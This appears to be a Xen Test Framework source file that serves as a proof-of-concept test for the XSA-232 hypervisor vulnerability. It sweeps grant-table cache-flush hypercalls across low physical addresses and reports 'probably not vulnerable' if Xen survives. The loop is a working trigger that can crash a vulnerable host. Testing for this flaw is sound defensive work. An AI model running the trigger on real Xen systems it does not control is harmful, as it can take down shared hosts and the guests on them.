main.c

Go to the documentation of this file.

 
#include <xtf.h>
 
const char test_title[] = "XSA-232 PoC";
 
void test_main(void)
{
    struct gnttab_cache_flush flush = {
        .length = PAGE_SIZE,
        .op = GNTTAB_CACHE_INVAL | GNTTAB_CACHE_CLEAN,
    };
 
    for ( ; flush.a.dev_bus_addr < MB(1); flush.a.dev_bus_addr += PAGE_SIZE )
        hypercall_grant_table_op(GNTTABOP_cache_flush, &flush, 1);
 
    /* If Xen is alive at this point, it is probably not vulnerable. */
 
    xtf_success("Success: Probably not vulnerable to XSA-232\n");
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */